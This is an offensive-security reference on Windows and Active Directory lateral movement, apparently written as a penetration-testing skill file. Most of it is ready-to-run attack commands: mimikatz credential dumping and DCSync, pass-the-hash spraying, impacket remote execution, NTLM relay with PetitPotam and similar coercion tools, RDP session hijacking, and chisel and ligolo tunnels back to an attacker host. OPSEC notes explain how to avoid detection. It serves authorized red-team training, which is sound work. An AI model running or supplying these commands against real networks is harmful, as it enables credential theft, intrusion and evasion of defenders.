Offensive Lateral Movement
Lateral movement is the phase where you expand access across a network after initial compromise. You pivot from one system to another using harvested credentials, token manipulation, or protocol abuse. The goal is to reach high-value targets -- domain controllers, database servers, file shares -- while minimizing detection footprint. Every technique here assumes you hold at least one valid credential or session token on the current host.
This skill covers credential-based movement, NTLM relay, remote execution protocols, session hijacking, and network tunneling. Apply these in authorized engagements only.
Quick Workflow
- Enumerate accessible hosts and open ports (445, 5985, 5986, 3389, 22, 135).
- Harvest credentials from the current host (LSASS, SAM, cached creds).
- Test credential reuse across discovered hosts with crackmapexec/netexec.
- Select a movement technique based on available credentials and target services.
- Establish persistence on the new host before moving further.
- Set up tunneling if you need to reach segmented networks.
- Document each pivot for your engagement report.
Pass-the-Hash
Pass-the-hash (PtH) lets you authenticate with an NTLM hash without knowing the plaintext password. You extract hashes from LSASS, the SAM database, or NTDS.dit, then inject them into authentication requests.
Extract hashes with mimikatz on the current host:
powershell# Elevate to debug privilege and dump logon passwords privilege::debug sekurlsa::logonpasswords # Dump SAM hashes (requires SYSTEM) lsadump::sam # Dump domain hashes from ntds.dit (on a DC) lsadump::dcsync /domain:corp.local /all /csv
Use crackmapexec (or netexec) to spray the hash across the network:
bash# Test a single hash against a subnet crackmapexec smb 10.10.10.0/24 -u administrator -H aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 # Execute a command on a target via PtH crackmapexec smb 10.10.10.50 -u admin -H <NT_HASH> -x "whoami /all" # netexec (modern fork) with same syntax nxc smb 10.10.10.0/24 -u admin -H <NT_HASH> --shares
Use impacket for shell access:
bash# PtH with psexec impacket-psexec -hashes aad3b435b51404ee:<NT_HASH> corp.local/administrator@10.10.10.50 # PtH with wmiexec (stealthier, no service creation) impacket-wmiexec -hashes aad3b435b51404ee:<NT_HASH> corp.local/administrator@10.10.10.50 # PtH with evil-winrm evil-winrm -i 10.10.10.50 -u administrator -H <NT_HASH>
OPSEC note: PsExec creates a service on the target (event 7045). Prefer
wmiexec or evil-winrm when possible. Crackmapexec with --no-bruteforce
prevents lockouts when testing multiple users against multiple hashes.
Pass-the-Ticket and Overpass-the-Hash
Pass-the-ticket (PtT) injects a stolen Kerberos TGT or TGS into your session, letting you authenticate as the ticket owner. Overpass-the-hash converts an NTLM hash into a Kerberos ticket, giving you Kerberos-based access from a hash alone.
Export tickets from memory with mimikatz:
powershell# List all Kerberos tickets in memory sekurlsa::tickets /export # Inject a stolen TGT into the current session kerberos::ptt C:\tickets\admin_krbtgt.kirbi
Overpass-the-hash -- request a Kerberos TGT using an NTLM hash:
powershell# Overpass-the-hash: create a new logon session with the hash sekurlsa::pth /user:administrator /domain:corp.local /ntlm:<NT_HASH> /run:powershell.exe
From Linux using impacket:
bash# Request a TGT with a hash (overpass-the-hash) impacket-getTGT -hashes aad3b435b51404ee:<NT_HASH> corp.local/administrator # Set the ticket in the environment export KRB5CCNAME=administrator.ccache # Use the ticket with psexec impacket-psexec -k -no-pass corp.local/administrator@dc01.corp.local
Request a service ticket for a specific SPN:
bash# Get a TGS for CIFS service on a target impacket-getST -spn cifs/fileserver.corp.local -hashes aad3b435b51404ee:<NT_HASH> corp.local/administrator
OPSEC note: Kerberos authentication generates event 4768 (TGT request) and 4769 (TGS request). Overpass-the-hash produces an anomalous 4768 with RC4 encryption when AES is the domain default -- this is a known detection signal.
NTLM Relay Attacks
NTLM relay captures authentication attempts and forwards them to a target service. You coerce a machine to authenticate to your listener, then relay that authentication to another host where SMB signing is not enforced.
Check SMB signing across the network:
bash# Identify hosts without SMB signing required crackmapexec smb 10.10.10.0/24 --gen-relay-list relay_targets.txt # Alternative with nmap nmap --script smb2-security-mode -p 445 10.10.10.0/24
Set up ntlmrelayx to relay captured authentication:
bash# Relay to targets without SMB signing, dump SAM impacket-ntlmrelayx -tf relay_targets.txt -smb2support # Relay and execute a command impacket-ntlmrelayx -tf relay_targets.txt -smb2support -c "whoami > C:\\relay_proof.txt" # Relay to LDAP for delegation abuse or shadow credentials impacket-ntlmrelayx -t ldaps://dc01.corp.local --shadow-credentials --shadow-target ws01$ # Relay to ADCS web enrollment for certificate theft impacket-ntlmrelayx -t http://ca.corp.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
Coerce authentication with PetitPotam (MS-EFSR abuse):
bash# Unauthenticated coercion (patched but often still works) python3 PetitPotam.py <LISTENER_IP> <TARGET_DC_IP> # Authenticated coercion python3 PetitPotam.py -u user -p password -d corp.local <LISTENER_IP> <TARGET_DC_IP>
Coerce with DFSCoerce (MS-DFSNM):
bashpython3 dfscoerce.py -u user -p password -d corp.local <LISTENER_IP> <TARGET_DC_IP>
Coerce with PrinterBug (MS-RPRN):
bashpython3 printerbug.py corp.local/user:password@<TARGET_DC_IP> <LISTENER_IP>
Set up Responder for poisoning and capture:
bash# Poison LLMNR/NBT-NS and capture hashes responder -I eth0 -wFb # Run in analysis mode first to identify traffic responder -I eth0 -A
OPSEC note: NTLM relay is noisy. Responder poisoning is detectable by monitoring for duplicate name resolution responses. PetitPotam coercion generates event 4624 type 3 logons from the DC to your listener.
Remote Execution Methods
Multiple protocols allow remote command execution once you have valid credentials. Each leaves a different forensic footprint.
WMI Execution
bash# impacket wmiexec -- semi-interactive shell via WMI impacket-wmiexec corp.local/admin:Password1@10.10.10.50 # Execute a single command impacket-wmiexec corp.local/admin:Password1@10.10.10.50 "ipconfig /all" # With hash impacket-wmiexec -hashes :<NT_HASH> corp.local/admin@10.10.10.50
WMI does not create a service. Output is written to a temporary file on the ADMIN$ share and read back. Generates WMI event logs (Microsoft-Windows-WMI-Activity).
WinRM / PSRemoting
bash# evil-winrm interactive shell evil-winrm -i 10.10.10.50 -u admin -p 'Password1' # With hash evil-winrm -i 10.10.10.50 -u admin -H <NT_HASH> # Upload/download files upload /local/path/payload.exe C:\Windows\Temp\payload.exe download C:\Users\admin\Desktop\flag.txt /local/loot/flag.txt
powershell# Native PowerShell remoting $cred = Get-Credential Enter-PSSession -ComputerName 10.10.10.50 -Credential $cred Invoke-Command -ComputerName 10.10.10.50 -Credential $cred -ScriptBlock { whoami }
WinRM requires port 5985 (HTTP) or 5986 (HTTPS) open and the user in the Remote Management Users group (or local admin).
PsExec and Alternatives
bash# impacket psexec -- creates a service, uploads binary impacket-psexec corp.local/admin:Password1@10.10.10.50 # smbexec -- no binary upload, uses cmd.exe service impacket-smbexec corp.local/admin:Password1@10.10.10.50 # atexec -- scheduled task execution impacket-atexec corp.local/admin:Password1@10.10.10.50 "whoami" # dcomexec -- DCOM MMC20.Application or ShellWindows impacket-dcomexec -object MMC20 corp.local/admin:Password1@10.10.10.50
DCOM Lateral Movement
powershell# Instantiate MMC20.Application on remote host $com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","10.10.10.50")) $com.Document.ActiveView.ExecuteShellCommand("cmd.exe",$null,"/c whoami > C:\dcom_proof.txt","7") # ShellWindows method $com = [activator]::CreateInstance([type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39","10.10.10.50")) $com.item().Document.Application.ShellExecute("cmd.exe","/c calc.exe","C:\Windows\System32",$null,0)
DCOM requires port 135 plus dynamic RPC ports. Generates DCOM event logs (DistributedCOM 10016 errors are common indicators).
RDP Session Hijacking
If you have SYSTEM on a terminal server, you can hijack disconnected RDP sessions without knowing the session owner's password.
powershell# List active sessions query user # Hijack a disconnected session (requires SYSTEM context) # Session ID 2, redirect to your console session tscon 2 /dest:console # Create a service to run tscon as SYSTEM sc create sesshijack binpath= "cmd.exe /k tscon 2 /dest:console" net start sesshijack
This technique (T1563.002) is powerful on jump servers where administrators leave sessions disconnected. It produces event 4778 (session reconnected) and 4779 (session disconnected).
SSH Pivoting and Tunneling
When you land on a Linux host or a Windows host with OpenSSH, you set up tunnels to reach otherwise inaccessible network segments.
SSH Tunnels
bash# Local port forward: access 10.10.20.50:445 through pivot host ssh -L 8445:10.10.20.50:445 user@pivot-host # Dynamic SOCKS proxy through pivot host ssh -D 1080 user@pivot-host # Use proxychains with the SOCKS proxy proxychains crackmapexec smb 10.10.20.0/24 # Remote port forward: expose internal service to your attack box ssh -R 8080:127.0.0.1:80 user@attack-box
Chisel
bash# On your attack box (server mode) chisel server --reverse --port 8080 # On the pivot host (client, reverse SOCKS) chisel client <ATTACK_IP>:8080 R:socks # This creates a SOCKS5 proxy on attack box port 1080 # Use with proxychains proxychains impacket-psexec corp.local/admin:Password1@10.10.20.50
Ligolo-ng
bash# On attack box: start the proxy ligolo-proxy -selfcert -laddr 0.0.0.0:11601 # On pivot host: connect the agent ligolo-agent -connect <ATTACK_IP>:11601 -ignore-cert # In the ligolo interface, add a route to the target network >> session >> ifconfig >> start # On attack box, add route sudo ip route add 10.10.20.0/24 dev ligolo
Ligolo-ng creates a TUN interface on your attack box, giving you direct IP-layer access to the target network without needing proxychains. This is significantly more reliable than SOCKS proxying for tools that do not support proxy configuration.
Double Pivots
bash# Chain two SSH tunnels for multi-hop pivoting # Hop 1: pivot1 can reach pivot2 ssh -L 2222:pivot2:22 user@pivot1 # Hop 2: through pivot2 to the final target network ssh -L 8445:10.10.30.50:445 -p 2222 user@127.0.0.1 # Chisel double pivot # Attack -> pivot1 -> pivot2 -> target # On pivot1: chisel server + client chained chisel server --port 9001 --reverse chisel client <ATTACK_IP>:8080 R:socks # On pivot2: connect through pivot1 chisel client pivot1:9001 R:1081:socks
Detection / Defender View
Understand what defenders look for so you can assess detection risk.
| Technique | Primary Detection | Event IDs / Logs |
|---|---|---|
| Pass-the-Hash | NTLM logon with type 3, no preceding type 10 | 4624 (logon type 3, 9) |
| Pass-the-Ticket | TGT request with RC4 when AES is default | 4768, 4769 |
| NTLM Relay | Machine account authenticating to unusual services | 4624, NTLM audit logs |
| PsExec | Service creation, ADMIN$ share access | 7045, 5145 |
| WMI | WMI process creation, temp file on ADMIN$ | WMI-Activity, 4688 |
| WinRM | WSMan connection, PowerShell remoting logs | Microsoft-Windows-WinRM |
| DCOM | DistributedCOM errors, RPC traffic | 10016, 4688 |
| RDP Hijack | Session reconnect without logon | 4778, 4779 |
| Chisel/Ligolo | Unusual outbound connections, TUN interface | Netflow, Sysmon 3 |
Key defender controls you will encounter:
- SMB signing enforcement blocks relay attacks entirely.
- Credential Guard prevents LSASS hash extraction on modern Windows.
- Windows Defender Credential Guard protects Kerberos tickets in memory.
- LAPS makes local admin hashes unique per host, limiting PtH scope.
- Tiered administration restricts where privileged accounts can log on.
- Network segmentation limits lateral reachability.
- Sysmon with proper configuration captures process creation, network connections, and named pipe events that reveal most techniques here.
Engagement Cheatsheet
Rapid reference for common lateral movement scenarios:
textSCENARIO TECHNIQUE TOOL / COMMAND ------------------------------- -------------------------- ---------------------------------------- Have NTLM hash, SMB open Pass-the-Hash crackmapexec smb -H / impacket-wmiexec -hashes Have NTLM hash, WinRM open PtH over WinRM evil-winrm -H Have cleartext creds PSRemoting / WinRM evil-winrm -u -p / Enter-PSSession Have Kerberos ticket Pass-the-Ticket export KRB5CCNAME= / kerberos::ptt No creds, SMB signing off NTLM Relay ntlmrelayx + PetitPotam/Responder SYSTEM on terminal server RDP Hijack tscon <ID> /dest:console Need to reach segmented net Tunneling chisel / ligolo-ng / ssh -D Linux pivot host SSH tunneling ssh -D 1080 / ssh -L Need full IP-layer access Ligolo-ng ligolo-proxy + ligolo-agent Multi-hop pivot Chained tunnels SSH ProxyJump / chisel chain Domain creds, want Kerberos Overpass-the-Hash sekurlsa::pth / impacket-getTGT Need stealth execution WMI / DCOM impacket-wmiexec / dcomexec
MITRE ATT&CK references:
- T1021 -- Remote Services (.001 RDP, .002 SMB, .003 DCOM, .004 SSH, .006 WinRM)
- T1550 -- Use Alternate Authentication Material (.002 PtH, .003 PtT)
- T1557 -- Adversary-in-the-Middle (.001 LLMNR/NBT-NS Poisoning)
- T1563 -- Remote Service Session Hijacking (.002 RDP Hijacking)
Key References
- Mimikatz wiki: https://github.com/gentilkiwi/mimikatz/wiki
- Impacket examples: https://github.com/fortra/impacket/tree/master/examples
- CrackMapExec / NetExec documentation: https://www.netexec.wiki/
- Evil-WinRM: https://github.com/Hackplayers/evil-winrm
- Chisel: https://github.com/jpillora/chisel
- Ligolo-ng: https://github.com/nicocha30/ligolo-ng
- PetitPotam: https://github.com/topotam/PetitPotam
- DFSCoerce: https://github.com/Wh04m1001/DFSCoerce
- The Hacker Recipes -- NTLM relay: https://www.thehacker.recipes/ad/movement/ntlm/relay
- MITRE ATT&CK Lateral Movement: https://attack.mitre.org/tactics/TA0008/
